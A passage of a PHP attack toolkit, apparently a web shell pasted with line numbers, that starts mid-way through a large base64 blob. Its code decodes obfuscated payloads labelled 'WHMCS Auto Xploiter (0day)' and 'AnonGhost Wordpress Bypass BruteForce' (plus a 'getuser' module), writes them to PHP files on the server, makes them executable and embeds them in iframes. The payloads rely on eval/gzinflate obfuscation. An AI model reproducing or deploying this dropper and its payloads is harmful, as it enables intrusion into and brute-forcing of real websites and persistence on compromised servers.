1cHkyM08vT3pBQy82L1hkZjlHWHJ6QlM0eU40U2Z2azUyaHd5S21FK3NhZWU3UVVjVDNvaCtkZElKN0Z2MjU4TjQ4Uk9aa3pVUHozVENHRjlhWXVLR1djcStqbUJjQ2w4djRKUmFUYndxN0ttdDhxWU0rK09CenozM2JoaWFyckYzdWM3cnV4TGpXVDNGU0h2aFpPQmh4Q3d3dDZrZnNLM01KeE54T1RPMzR0UG5vTTZlS2UyQTNZbEJjODhZZjVRaUZPUVRqTzdZWWMyak9nNXo2T1BHdXBsNzRUSnRKVzRGRHlEMjYrRldKTCtPRVgrcDIrd0pYVS9jSDduQ2RmbUNNeVQzeUgrTHJoWmkrc1lidXc3MXArNE52WC9ia2ZPcUV5cndIZjd3c1BXTHRTS3hGMzFNTEZQaUIrMjNCcXkvd1UzRHR1Tlo1Yjh4UDFwRFlmL3pYdmYrQy9uV3ZzNks1Zy84VHQrSTliWWY5WE1FYTdwVTVacmlGYTF6QVFQY2ZLbjZldWFLNlp6N0tmV3g1NkdBTVRXNzl4cjVaeTFaT09QYXpkTkdHM2FxWmpUMWRYblRiYzk4dy9IM2c4NmM4UUJPSHVWL2dXd0h6NFZpSmgzSUFmQ2R5UFBoSjRzODR4UWJpb2ZFbisvT3paOTRyZGRBSHZYUGlHWWw3VCs2RGxyZCtKdmNTaUUzRzBvRXVyL2VaZ3l0MWRITndrY3U2NzhtSFkvNDNPTkpuNFhhc1AxeXRuUE9KOE5JdTE5Qi8zaXZXaC8xamgxRlQ4Q0FtNFJmbVNNd2ZGbndtMnBYSEVxZXNid3ErOWxxWVVQQS9iY2M2R0d1SmVsM3pPOUFWYXNaQi9MYStTOTNmNWVkMytyL0J1ZENIUmY3Tlhrc25YMU8xSy9SVFpZN0ZnNnI5NG5PQiszSkR0TEJqeWIxWjFyNmcyenQyV09GZjdpVVZORUxXTE53V2Y2allVd2N2aHpHT3RXbGdjZTdmTUE1eHZvS3YzWmlzWFlDajJvMTV5OFQ0SjlpeDdjbXZNMmNvYjJPdU8yc2pMb1dkUGZmVUtabFBRVVBvWXhWTU12Y2Q4NDBPdC9ha1k1ZXBJZHVKLzRIWmdWZm8rRmd2dFJoN0dlWmVDNW96OFJuZnpyd3ErY1pCVGlUd20vYk9lKyt1ZTljRzRVTHlrMTRXTmdlM1VVTmhpK1lvcmIySnR1V2M4bHhxVTF6THFoM0NTYU92ZDNEbHp0eHl6OEJyY3hRVmY0ZHpEMkp5K0UvSDcvQ0wzQTlWZTJObjZrZjMrS3h2c2FiQnVxekdmWE12Njc3YWI5dUtIVmtUQVk4cjZBWGpaeE4vVHRoaWprcWJEZnMwcGhYczg3V3dMdlRIZTYxZk5iZTM3Ymx2bkRVWDZNYXMwV1I4MXBRNXJzRVlVOGNYT000MmZTTmlEdmpWalUvRWlnRW5yL1liVEl5WXhMZzJ1R0xsKzZ6clFOT0tyMVgvdXMwMWQ4ODYraXBmSjE3bm5xY2F1dTVaTzVVMUtxZXhxT01IMnRmYTF3WUdXcE5uenVLOHAxS2Z5OS9scXVFbnIxTmNNVGJkOTdWUFdSa25jY2I5ZEd1L3pIVTZCKzZyRGZ2RzgyQnVCdmtjNngydGJheHFjM2hCdzlhQ2J6MzIxSWdWREJtbjN3eDBTSXhQdjRlZjJJYmF2Nk1SSzdGaGc0T3ArWVk2NjRjSHVrd2ZMdFNZbUlkczZLR0d2M2MweCtnTFcwczVyZWxsVDUzcEhrTEZ2NjJQejN2ajErNzVkSElObVdPRVR3V3VqbFZuRUovaGk0VzRWZFdNWTNHQStQeXo1LzVsQVErdDE4bWM1MzN0YjNleEZOdHlieW5pdWp4RkRrcThOS2RkMk10d2o3a2FDOUEwbmhIUTlvdStBMjdWMC9neUxyS21CY3dNLzl2MnpIRjE3MDk4R2ZEbWppMFdmTEdYNVJlMW5HSUR2S2pSMzRKbXlCb0ljMWhvOWdKdU52WVNBajl0Rno3dWZtZkVJamlQZWFRTnpoeGpod05iUCtmZWhqSGQvS1c1bEkzMWxTdDBlU2k2d3h4TXhCSXcwSnJLM004Z3JtU05PNXd3Y3NnRG0rVzkrMmZqdG5BNDErS2tpY3czWlAzVWhuK0FkZEdQc21KbTFpT0E3NFVjUTVOREVVdEN2NE9kNW1YTkdSZDF3TGJHNlJrTzg2bWVRM0R2dmRLV0hMR2p2ZHl2dGNiVnZTLzNsZ05YUG50eWRjOGhaSTA3bktLWks3bnZ5YnV0U1hTZk1XczVDN0dwbkRDaGdNWDNQZmVVcldVWTdBSEh2Qk9qQ3hoZTZwb1RjKzBWWGhQNGd1M0V2Rjd3TGVaVi9IV2ZQMnVDeUNQMDkrSWZXVjhISmhYYWFlZ0FheTBEVTVqUHJDM1NONGlKNXZ1MSs2eDlnRytPMDFvYTR6TlhDTVo0M21Kc0szNFg4aVZpc3ZYZTF1d09iRkcrTi9xS0RkYkhCQ2N3ZHYwUSs4amJtQy92NU5jaTdteDcxdlUxL1BaY3IyWk9wOHZ2R0x2MVdJNVRuYkk5MW5xYVAybmsxQVkxUjgxYzNHUFBQSU01b0g1ZEhOcHpBZzFiRnBlYU1WNy9POFhmRGc1a0hRczJFTS9tZjI0TFI2dzUxejdrdWU0SjUvNkJmb0lPYzQ5YWZTSm01RDdWRXp1QVEzWnNNbXk1TEZ0d0g3R2ViRnMvYnF4NzVBdk1CNUJqVFY1bnUyTmYrUU80OG1DdG1yeGhFTk9NSFErNER6NGRaMnA4clJhNXpIWTkvMVBJRzVpTDdNVGVpclpXenpiR25QWEt4cGpyZkIrMkpVK0VHd2FPRWR2ZGQwME9US3hSMTdudTVrTXJZMHc5TWhadU5XSzUrU1ByZ1A2eXI3RHRtZGZPUExjODJmZ0dyeC9tZHNoaldjOFRPS0JPVnpPU2kyandYUGZweldtNnY2SmZaRXpXNTI1NzVoaWpQVERHYzBtaDBlWFAySHJXOTIvTGZ3cjhQR3ZseUJORVhGQ0xHT2ZRaW1IN3pFL0J6b00vNGpkNTdrMmV5eldiT1lySHNtdjNwcXN4WWV4Wis5NHVLKzRYZGNKOXo5eU51ZFRVZXZpb2RaMkQrYS9xRmZwaERhYjZacGhud1JlelBtVXNyTlgzT3ZFcTYvOCtlKzV0RExseTIxT3JSNDZXK3hUYWJaZVpnM3M5ZjdJT0x0cS9uUHBnYnEvdnVlZVNmVGUyNDk4TlhtaWQvMkN1M2F2TE15L01VZmplZGMvYVFmTUFlZllEL21NdXhseFJSYXNVK1JrMnB2KzQxeEI2dG1JVDl4T095RS81aldlL2l0aUZaalFma1RWSzFISVpQOXl2aVppRG42dmZ6VWNXK0dreHgrZ0R2cjFobjhaZnorNDFjNE45eFpsS0hNMjZpc3VlZGY3dUkyM29CZmVoSW82cVo0aUoxcWlFSDczM3JHUHNjRzN0M1BNOTFnb1lsNnR6Yjd5ODcrdnNDOXJDdkZZSHh5STJvTjhqeHFPbHhtM05YZGJxbzdFOHcxckFyc0FBTlhQZGM2OHE3b05QRk8zcHNtZHRSMmYrMUhqV3JFUy9yZ3Zyd2liaFZ3MU5ZazJNdFlyR3NzeFZjQTlybkdPZTFGOCs4TXNLaGtWKzc3RjRYM3luVGQ5bWV3WC9OZmV0bnZJc2h0emFjN1hoLy9Cdnp4TzQ5K0plaEhvak5RQmFPSE1YZGZHYzNCdDg3M25XUlEzWlQzYWZ0ZG8vaTJOYlExdlF1NEdkNmh0dG9UQjNwelgxM0d4bDNxemQ4bmRWTzZOZjFyZEZqUDg1clEyeHZya2ZVL2ExWHlLK2JudWVLN1p1MGh4OVJZZXBrZHZQc3ZWT25NM2EzL2UrOXFYZ0hoM3NxdTkxTGpIbThMWm5uVUtzdlhxc3JQdmFka1h6ZVVhM0UxTTlCK05lbE9keXJRZkl1bmoyV3F4N1NKMmxUWUVOWVJ0aTU0WDVMOHVmak9mdVlRYi9nV3Q2RHM0eEYzSml3WFdJazJLTyt5amhsOWhGak1PY0Z1T3dSbHdOYnEzVHdGYmN3eTc2R0RaUTBYUG1qanczbnZrUTdDZjNjTlRqYUxxdTMrbWpZN1VYL3F5RzVocnpYK1lqemNsRlAvaSt3eTJIMnM4WWMrSnBjbTVyRS9LY29meGFYZjJ6OENEM1pwOTc3cmxGbjhES0RXMmY5VDNvSy9kRmc2dlZ4YnV5cm9kODBUbnV4eHo4NElldlBmZE9zcTRXZjVPbldTYzk0Q2ZXR3JtV25pVlhZd2RHbVQvV3BpNWdtZVB0Mks1NUlmUnE4dFhudm5RUHo2a2xzV25yU1lJWGlKSHcyc0NQdW1kdFpOWFc2SFBFa1F2cllVeDVnMjFvTDNsODV2MVBmQ0I4K2JKeWkvSm1PWFNlQjNoaEw2eUxOUXREclB4TURHN2c5cEFqTWllZTRmQ2NjZThycmtjZjJaOFFYN05HYnB0dG1NZFFxMlNPSEgyczdnK2JsS1BKZThrNWE0UHVROFFjR1NOdXkvYk1xeHlmYlhCVzk2SGRBeklYTk80TFg4eS9lRmF1RXJPRHU0dzk2K283dVF0emVtRWZsejMzdkt4eE1lNjVEdnFwOWZMdXZlVTVnOWUrYXVEdmkzczI1akJ6RlpjOXp6ZXAreUlQZ04yZmEyakZwLzVhZHVNWktmZlRPcHBXUFZ6aHp0WUs2WWZXdEpoZjBrYlU3UjJ0WHZIclRxNUt2RFhIWEJ3ZmVjM01Dei9tcy9tQmlKbVhQZXYwT3JIR2VyL2dER29FZE1HNXpqenJ0YlZyK3A5MW50YzkveHNrOC8zcVcyS3VlOFNlcllwY0p2elBHbytzSllRdm1WZXNYSitZSmFjMnovUGNWNDFTMmZQY1FuS0l5L3k5LzV2aDJESzNTTHpKT2xQOHoxcE44MFY1ZGtSdXk1aXNTYmIyeUwzTXJEY24xNWIxOWNZMU9LVjdQTzJrNGQzVGFPQmE1dElmSzlmbi96SGsvMnVBOVEwZVYrRjE1NzBveno5bS9nYWJVYlBIUGRRL2wzbXQvNUdTNTNmRThzdSt6dWpTaDhCcDhpOER2bVN0bTNWZzZzYXdXZk5hcnpWWGNzN3dSOVpMM2p6cTR2RWRMdXJaNHN6cnNPNitOdytYWjVKdmF3NERaN0J2ZVp4NXdpcGV2UGFscStFWi9pOUM4Qm56RDJyWE45ZThGZ2V3SnNpNmc3QXo3dU41MlB6ZkZ2cVM1M3poU3VaNjlZdE8vTWk2VXJoUWMrN2VwOC9FM0Ewc05nOXgzWE92T1BNWjVESGNxL0pjZTNKbWRRMzNsODhWWXI5NHA4NHQ4bjl0Z3J5ald0cDhmNTZmZjgyMUtmb3Q0M0cvZlZ6WGZjNzZScDNuZnhRVThqYldDWGZYaVJ5eHZNVHpGTEVtckgwSEQ2cDQyVmEvdGZHMEMrb2xCbjVnL2tuOTUzOVJkWGp3K2Z4L3JFM1oxLzlURU91Q0M5U2xiYUkyUVk2MXpURjVOc2E1Nm5BYU9YMEhEK1VhWVV2RWYzV0Y1Nm1LMklzT2MwMDhseFN4enM4L2M3NnNKYTdtenVyaTRKNWpiN2VUSDRuejVwbkI5UTJjOVg5ZXJHUHpmMkhDTnVDTTVjQ2o0LzdQZmYzdjF1MWZlQTgyblArRExSN0hYRDErLytQOVAvZi8vbzkvekw5KysrZHZuRDg5WGtRUjNQSGl5TVQ5NXgvL0N3PT0nXHgyOVx4MjlceDI5XHgzQiIsIiIpOw0KPz4=';
  212.     $file = fopen("whex.php" ,"w+");
  213.     $write = fwrite ($file ,base64_decode($whex));
  214.     fclose($file);
  215.         chmod("whex.php",0755);
  216.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>WHMCS Auto Xploiter (0day)</b></p><iframe src=whex.php width=75% height=60% frameborder=0></iframe>"; }
  217.        
  218.     elseif(isset($_GET['wpne'])) {
  219.     $wpne ='PD9waHAgLy8tLSBXb3JkcHJlc3MgQnJ1dGUgRm9yY2UgUHJpdjggYnkgQW5vbkdob3N0IC0tLy8NCnByZWdfcmVwbGFjZSgiLy4qL2UiLCJceDY1XHg3Nlx4NjFceDZDXHgyOFx4NjdceDdBXHg2OVx4NkVceDY2XHg2Q1x4NjFceDc0XHg2NVx4MjhceDYyXHg2MVx4NzNceDY1XHgzNlx4MzRceDVGXHg2NFx4NjVceDYzXHg2Rlx4NjRceDY1XHgyOCdsWnZOanV1NEZZVDNBZklPRnhlelNEWURTK1FoYlF6eUp0cklrcjNLT3JpUEg3UDRGYW51QkFQTXduRGJsaWp5L0ZUVk9XVC85dXQ0SCtlUEg3Ly82OGZQN1ZlOWZWN3I5cXZFNTFXM1gvR2VuOXR2NWZpOGxzOHI5ZS9XKytmMStYMzlYTGUrUHErOS82M2YydmRIZjQvUGUvMWNtOHJuRlpmUHRYLzM1ZmZsNitlY0xwOC9ZNlg3dCt2cjEvSHl0L3ZUNDl0NDhlMzM4aWZQK3o2Zk50LzhKK3Y1Zi9QN3Z2N3Y0MzEvM25XODlHMSs2ZHZ6UDlmbTcvYjdzL21WLzMzZVg3cWY5YTJmZWRlUHIrUHplMmxqZkw3TG4vdHFHN3Y5L2Z4OHYvYmZ0UDdQZHpYM1o4dis3WDN0OThkbm5JcmRNOCtKcGQvZmJOVmlxZm13L1Y2YnIvbTdmVmN5UGorSXpUWmU3dmRWbnBPWWQvbk1LYmQ1UDNpMVdIMzJ1YmFZeVkrK0RsK1h6MzV2ZXk5MzVueDJtN1Q3eC9NS01iL3l6R0Q4RytPOThOUFIxNy95dk1KOTZkYS9sKzF1ZlY1bDU5bzMxK1IrbjY5dHVWbUlmZGxtNzllVVIvKyt6VGNUWCswN2pZSDlOUGJTMTluR2JQYlNjKy9kRDdybTJlOXB0dFp2NUZYN1R2NWpIbTFkelVZRnYrcCs0cUdjL1cvWjV1ejIxWnBaUjNuUHozcm1HOS9kd1k5bnY3ODlxM2g5ejJrVHI5bjJhV01PN0huMzJHalAxSmhsMnFIRm9mREw2NDBlYi9McndqTno5MXZ6aWRaemNDMCtVWHpkc09QUzUrNTFDaWZQYnE5RUhDdVdtNDNlUFUvYTUyYmJObWJ6Wlg3MStTaE9hcytKbGpQeUQvNVVYRWIzYWNQa2RxK3c1a0ZNNEErdCswMCtZWnZLZFcxZHpXNUIzRFJidGM5dGJNWHpxODlQR1BYb2MzR01qVHg5OW5zY0QyM3QxWEdBVGR0ejIxaUZ2R3Y1RU9ScnkzdGhESEhiUG12TlFZdzY1eDRkbTVwdHNuM0NleVpPZ254cjYyblhhQTBKVzkvNytNcFZmQ2F1U0RQdTlibDJ1d21mbUV1YnMrYTRNc1p0cmw4eDlPaHJsRjN2Mk9mV1k3RE56ZjdUZU9TdTh2NDE4NzQ5Vi9kVVBxOTkzY3ExUjM4cGxweUxkL0xtMWErUno1LzkyWlg0YjJNcWoyOWdGL2FNUzM0b2R2YnVDOFhXM3VlcEhEVE9NSGFMN2ZTNHJCdGNhdS9DTS9KR2MzLzI5YlQzTnA4S056azNkRzNpZDhjRmRwSnQxLzVLK0RjNy8xYzRPZnAxMlp6b09kUnBrMnhmUHNCaHgxb2l0eXV4NlZ6bnVkWTBiZXcyWDhYNDBkZlF4aklQYWgxcnY3ZlpWSEVCN21kc3FMbWZNejdFTFV2M1RYbFAyK2c1RDN5K2RIL0pCMmUzamZORHNZc2RLL2xZelVjclBITmlpd0Jmb3ErcC9hN25MT0RCMHYzZDFxejVWOGE4TVlmUzd6WFh0VEdFLzJCM0JaczFCM0ttRW5jdDk5b2N4TGtMOFhydnp3dkdMSENGc0EvT0tPQkp3RjhaUDRnUEMvd0pIdG1QR2E1TTRKZjlYTW5YUWc0VzRpU2huUnJPVjdTcmJXYnNTN1o5UWE4c2NNNHhkWTN5NFlZZHpaczdNVXBNS1E4Vy9McHovdzMvUEpnemVzbDZjL2p0Z0l1SXIvWWN4Ykp6b3pLMjljRVRHMXVqNzZ5cjltY0VQS3M4OUhnNytmTmdUTEM3WWROVnQyVGJld1ZUR0RzY1N3WGZuUlA3WkpzWDg5M1JaaWNZRWhQSHZBYjVhTUh2TDY2RmY2UVBWM1FGTmxPc2dRWFdQVU5QeHJTL1hxbVBMZnZCNGRuYy8rcmpEWDBaRXg4ZEo3ci9KSWNEblpTblZyRFBOUzdySzh4ZFdMbkFNNWNjcmNTNWJSMW8xeXJPL3ZuSDMvLzIyNi9sZmF5dXh6SzhHZWdOYzFHTnlkT2E0NlBQVVhsOGc4T280ZVJMTUtDZ0E0cnp5elpHVDJacnVhTmZuOEREb2NjeThRcHZsdnVNS2VVT2F4RzJ3cy9EZHVCOE9JYVBIcmZWV3V4MndZZ2dud05mbWhlY214VU1BSmVTYmVQMVBiZFJON1I1RjJJNTZzVHdNRy9XR1lQS0ZmaThtSGNTdlAzc2RneGl0Y1Y4b0RIYTJoTzRKdzJDVnJYbURUVGdxRFZPeGx3dk1Wdnd3MEo4bzFjcU5hZjVJWk5iUVowZ0RJMCtOOWVEeFhVYitrVDVTNzRYZURUUUtzWmd4Y3RqYWszRkNwcEFhM3pCMzlhSWVXSkEzYjl5cnVxc3BiK0hmYlVUaTh2RUJNZEFjYjM0aGo5V1locXVsNTRHZndxMWx6V0hzQTRmSzg2SjE1cW5qNjU0NHBwUTZ5c1g3c0FXc3YyS3BrQy91MC9nK2pPb3dZU0o2Q1RkZjh3NHp2Qlc1Wm5Xb09LMnh6WjBZa1ZMbDR0T0dOckd1Z3I3KzFwcjErSzZJVSsveUY5b3ZreXRNT0xNc1hpZ1llQUhQWk9hSW9NTDhnMyt2L2FFM0FOSXJvY2RFMmZQWlhPeTRxOWdDMnFYVEN6TFQyZ0c1UnExU1lHN2tuRXBjWTM1Y085cnFLeHpjQUJhc2FKdkNuWHV3Qmo3NlRuOW41bW5hN3ZpMklwK2o3VjVpNGNDeGxzTENMOXYvVGZoeXdzYnJPUSs4U3ZzM01GYllrVDJobmNxenluNFNuTnlyZlFrejlEZndnZlhLWVV4d0tKQ3ppdjNWbkRjdVl5ZVdOR1U3b0ZsajN2Q0lYbHlTREdYR25PTTgvbVNRNjROZUdWaXZaRFhpb1ViYXpuQlhmUGtpNW9wbVA4NWF4UHBBckI1K0I3K0RIU3diSXpXTC9RMWd2aFNUdXhnSXZYcXFCUGh4NUVqZDNMa0J1KzkwUWQxKzFwM0pEQndwZVpOK0o5NVpHcGNyWms2TjhDUWZKK1lNbW9RdEVXeHZnU0R4S2ZyeFBIUm45emhBZkozOUNFOHI3M2JQZEZES1BTM2xDdTNlZitvMmNBQTVZTTFFVndiMXRackg5ZDlDTmY0QWM2cHpyclBlUmRpb2xKN0YvU09OTjkreVh1MDM0cGZLcnFrMEVzd245cUhCWDFiWGR0UnExUzBUd2FqTTdtV3dCejU5dWpmVldxZFFxNVhOSjg1ejdwRW1MMHk1akh6VC94ZXdNbUtuYkhSNkJtaXFiTDE5b3ZuRzIrb3hRczJER0xWZktKWUJic1VZMmp4Uk4vRFhGaUorZnlhdVNQZGx5Wm5CRFdLODZHNm5nYUxDbmxXOGFGMWhQVjBvaCtvbkdiZGhiZ2N1RUJ2TTdqZjJyS2lDMXdYMURSMWhNYWduaEF1OFN6alREajNYZC9lSjVmSjFpZllVYmZSRjh2bjdBZEduWG1RMFNzVlhGeFp2NzRuM3dzMXBuQndoV2ZQN25mM2d5cTg3RGxXOTJ2UXVXRmRZUHg3ZnRVZFlmNTBYK25SLzY3d2pIeVI4VUVCSzlCZTFUSHg2dllhV0piUmRIQjFjYzU2SFdqNUREZkp4c1psODluQmV0MlhvMWF4MWlyNFVMbG1QYldBZlpjYUxXTlR4Wm50VEQzaWZxcnpXL05JbHhpa3pxN3VhNVZ0OU9qY2Q1VmRLbXNOY01LYThjVjhxUEdjZjlKM3h6WnFZZmR1WGJPVk1zZXF0aWU5akdJK3ZQVjZyQzZwanYyeE5EazNsb243d2hMc2tlanJxZjlUaUZOcW96RHZvaVd5OXlhT3k3Z3IyRVhjYXYzNXd0bkVSN1cyY24rSytkczN3cEFYNjZTbm1PTENjYzRiT0VLMllnNk9jOVgrMUF2aUtPYWQ3cE5MM1Z0UHQ1a0hPYzhhTVZNenlqYTNQa1lDaTR1NTZNMzZYak1tbFQvV05PQ1N1VmRyQXBla05ZMlQ1S0I4ak40Vnh1L01GYjBtL3dSeDZyN2J2bzErdE9MTG10dzg4c1JuOEVOK1RadTRmKzE4RUM4djROQVRIYlJjOUFkNFlQMHo5Z0xJa1FLbVZ0dUhaN2lIckJwd1pRN1dSL0JNeEZ4L09OYldiZTdYd0NQaGV0cTVSbjRIZTJSYSsyUGl2ZnVWM3RjcllKRnoyTDBEOFRTY0xreEdFK2wzOEVsNXp2d0c5cVBMRXZwQWNmQ2tobGg2WGdqZjRPT2dUaGpjWEZodmtPOFpIQ1IvRWpndjdpRXV6UWZTKyt3aFNLKytManhDRGVMNjNYb3dwZW5IY3NsQjFjUE82NHZtRWZhRHBjWmw5eUl5OGE5K1h0bG1MeHBlU1BRQVZaL1NydzE2UExianFPZlFGdUY2bkhwYWRrTUhGdnhtUGdyV1dNa3I5MTYxLzBYTnFYc3ZkWk40eW5zVjFHNlZmdC9ZQTZaMjBEand2bUw0aE5OWlYzSWRjL2JyNGo3eG9jQ3gwbGpvd1BFc3NNTzVGWFgrcm4wSDYxdnJSalNNZm5jdm5kNnM4alMyc2M4U3JsUFFDdTYvVkhocllIUnNzNWU2a3J0NXhsOEJaMVRUdXlZa1A4UW4yTGxjOFRKZnVObTQ5OFNtcnJ1cDA3SjdEUWsrUUM4cUpoZnluWG8wWVFQdkIzbk4zazl6YjlqOTM5RXp4ZGZlTnc3aVdQWkNaM3I5YmMySmZSR3RDVjZ5SGFVdHFGM2R1MHhwNm1udi9ZZDF1ZkVNdTNqK3hickI5bHFtdnlvWW9yaDEvWVplclRHeEtjR1hqb3RSTzd1R0R6QUV2MWJpM0R4aVBrZzhQeE4zbFo1cnN2YXhiZ1ZYdmZkdVRyUU9MZlJVM2V0MUwyYm9sb1R0cmRtczU5RWZtcE41RGIweDlxUkw5Ni8zNWZTQ0x4TjQ2ZDU3V0tPV21TT1ZPc3g4V09tVGFwMzBMZFVmcGFla1hEQ21QUzdheXZaMExVOTk2NzFFOTRsR1R3UmUwWDMwQ0dSM3RKTG1kR3pqWE1MbzQ2SWh4RzNPNHlzMnV5NnhIODl0bmlVaGQ0STZZL1FCcmMzWXY1Rm1PcmN2WjJNU2RaUDJDZERkVVdmTVdsdVBzMDlwRzJjTkJ0YlFML0ErbDNRbVdPejkvZ3h1VnVwYjRjVXh0VWVnT2R5VEVHYVQyd1Y4TmRhcFIrQ2FhTjlHRHlFY2wrWXROSkp3NE0xWXh6YjJuNHZuelJvMUwvSnYyTlI5OXdUL2dKL3VsY29IbDlySDU0S0N1dGYxcFBjY3N2UDIyWi9oL2R5RVhncTBhcUsvNWpnVEp1N1kxTFlsMWwxVEtaZmlFcyt2YmZZdzRmTndmZUw2N3JJdllPMlgwQytPNGJGSGJyMzgya1lON1g2TjR5eGl4cUMwWDVxeFdkMnJYOEQwaEQzZTI5alB0YTczbnR3NG80UFdHWFhDNDZzV3pHaWdzTjRsdjN5T3czdGhoZnFod2lIdUo0czNYbkFLdmZZQUo1TDFPWDZTeHNBdTd2OW1mT0sveThyKzJQMzVkRDNtUFlqUlMweFRlMVp3S3Q4bnJvK3pKdnZNNXdLbVZIUFRPWFBRc1ovdUU2Y0dUKy9iM0dQYjV4a3d4WXJ0ZUU1dDVucDY1TS9heDZ0b2l3Ui9qTDR4UEpPcDFhMExSLytLUFJibFhHR09lWnZuMjhDeXl2a3A3Lys0dnpEcW5QczJldEhWZG9GbmZQYkV2Y0JLVGVCOVdwK0I4cjVQV0YvdGpPRjRCeStsWVphcEk0eDczbE10OUwwVkwvaXFvSGxTdnVTRjY5TjltLzB4NjYweTQ5bjFxbkhMKy9mMUVwdWpwMWUyc2MrZVhTK3RjRHFZVnNHb2NTN2x0WTE5Um1ObWRrODBiM092eTNzNkY1M2dmb3RzWVc0Zzd5b1k3bjJVUW00cEI5RnlZOStCL1pNSzFtZjM4eTYxaFBWeklsNExOWGlHaHh3M3NnRzlKM0h2Ry95TmJmVFhmVVlrd1N1YVEvazZycldrOFdUMGh4L2I2TmRrY3M2YUpybU8ySW5OU2g3ZGlLTmxHMmRPelVXYUx6Vk8wSE1xOXFIemhQN0ZPQit5a2hPUDJST1UzZHhyWUM3dURZLzlQT29xNzlXWkM5eWZVcTZ4RjdDU053UHJ6bTMwYkJ6UDFqYktHLzdXSG9oNTFySHFldVVBZDhsQjkyNEtmcS80Sk5pWGFMSHJ1bUhvWDJKMjFEdjR1MkxuY2NiVG1KRGdjSDVQOU9DemF4WnFXZTlYRmpoNjdJZUJtOEozeHJQZmhTUEVSa0xmQ1l1dDI5L2I2Q1dIWDY1YjZSSDYzTjNZTjBhbldvKzc1a3JncGMreVZqUzBNQ0wzblBKWllPKy91aThxaldFOS85akdPY1NLMWpQK3VNYzc5bWhYN0c3c05tYzdWNDV0bkduTzJGSCtjbCtkK3RReHNiSkcxNXNGSGVleldCbThzODJNOVFHSFZyREE4YUo0ZHArMGZwMy8wSWJPWmZlelhVTjRmOEN4QW0rbzFvdHRubW1EQzBhdmpkaHg3VHoyQTgyZDZOeENIZUg5OFVSUFNqR0ZkdExlbFAxNzBXckNBWEE0eUVmVkpUdDY2ejd4Sjh6L2x4aEpkZVorZHIwWWNPM1NmZWFhTjlDanNpbDVmcTF6RXRvaG8yOWRENDgrdlRIdm1CeGV3ZUtTcGcrOUQ2ZDRwYTd5dnJYNFpiM2txdStwazVNVVk2OGVMNDRIMlJ3Y0NOZG5yc3V3cS9ORFBzVVdQaE92c1M4NU9jNGwwZzhNZElscndzeVlQcmRjWFRPNko3UnNvNzd6bWV6QnpkVDBZUjJHSGhuOWJmSlJPYlpNT3dwbm45dllYN0IyQzJMVHVlNnpOZ2w4RE52TmZpM2I2TWQ1Zjg5MnlPYm51bzI5V2RmVjNzL3lHWGYzeGdOK1Zwd1ROOVk2L2g4Q3hWenA4WkpkLzlKWGNqL1lPaW5nT2ZrUHJlQWFSOXh1WEg5dVg4NW5WK0pKZVJuYlBBZHowZDQrdCtMKzJlajNQbG43NnpKL3h3QjZNMUgzV2I4Vnh2Yi9GWGpmMXVkeU5UZjBqTStFSnZmdnpJZkV1ZFpPVGVRemZLUFhXU2QvaVc4TGEyZWNqQitNaFQ0TDYvN0hxRnZCTE8veHVZNkwvY0svNXpiMktNYmVjV0h0MWhMSDVjejNQbjNpOHdBVlBld3psd1hNUy9DOGV5aWpaNHgrVnk3bGpnWHRmM0srL0ovTzR5OThocGV2LzdPbFYvUGg4K2Nmci8vcy8vN0hiLzFmeFg3L3dSbkY5b2MyeC9UTnB5cjc1eC8vQlE9PSdceDI5XHgyOVx4MjlceDNCIiwiIik7DQo/Pg==';
  220.     $file = fopen("wpne.php" ,"w+");
  221.     $write = fwrite ($file ,base64_decode($wpne));
  222.     fclose($file);
  223.         chmod("wpne.php",0755);
  224.        echo $bencong."<p class='font-effect-shadow-multiple' style=font-family:Ubuntu;font-size:25px;color:#58FAF4;><b>AnonGhost Wordpress Bypass BruteForce</b></p><iframe src=wpne.php width=75% height=60% frameborder=0></iframe>"; }
  225.        
  226.     elseif(isset($_GET['getuser'])) {
  227.     $getuser ='PD9waHAgLyogQ29kZWQgQnkgeFNlY3VyaXR5IHwgYjB4QGhvdG1haWwuY29tIHwgaXMtc2VjLmNvbSAqLyRPT08wMDAwMDA9dXJsZGVjb2RlKCclNjYlNjclMzYlNzMlNjIlNjUlNjglNzAlNzIlNjElMzQlNjMlNmYlNWYlNzQlNmUlNjQnKTskT09PMDAwME8wPSRPT08wMDAwMDB7NH0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezN9LiRPT08wMDAwMDB7NX07JE9PTzAwMDBPMC49JE9PTzAwMDAwMHsyfS4kT09PMDAwMDAwezEwfS4kT09PMDAwMDAwezEzfS4kT09PMDAwMDAwezE2fTskT09PMDAwME8wLj0kT09PMDAwME8wezN9LiRPT08wMDAwMDB7MTF9LiRPT08wMDAwMDB7MTJ9LiRPT08wMDAwTzB7N30uJE9PTzAwMDAwMHs1fTskT09PMDAwTzAwPSRPT08wMDAwMDB7MH0uJE9PTzAwMDAwMHsxMn0uJE9PTzAwMDAwMHs3fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTV9OyRPME8wMDBPMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezF9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHsxNH07JE8wTzAwME8wTz0kTzBPMDAwTzAwLiRPT08wMDAwMDB7MTF9OyRPME8wMDBPMDA9JE8wTzAwME8wMC4kT09PMDAwMDAwezN9OyRPME8wME9PMDA9JE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezh9LiRPT08wMDAwMDB7NX0uJE9PTzAwMDAwMHs5fS4kT09PMDAwMDAwezE2fTskT09PMDAwMDBPPSRPT08wMDAwMDB7M30uJE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHs4fS4kT09PMDAwMDAwezE0fS4kT09PMDAwMDAwezh9OyRPT08wTzBPMDA9X19GSUxFX187JE9PMDBPMDAwMD0weDY1ODtldmFsKCRPT08wMDAwTzAoJ0pFOHdNREJQTUU4d01EMGtUMDlQTURBd1R6QXdLQ1JQVDA4d1R6QlBNREFzSjNKaUp5azdKRTh3VHpBd1QwOHdNQ2drVHpBd01FOHdUekF3TERCNE5HRmtLVHNrVDA4d01FOHdNRTh3UFNSUFQwOHdNREF3VHpBb0pFOVBUekF3TURBd1R5Z2tUekJQTURCUFR6QXdLQ1JQTURBd1R6QlBNREFzTUhneE4yTXBMQ2RGYm5SbGNubHZkWGRyYUZKSVdVdE9WMDlWVkVGaFFtSkRZMFJrUm1aSFowbHBTbXBNYkUxdFVIQlJjVk56Vm5aWWVGcDZNREV5TXpRMU5qYzRPU3N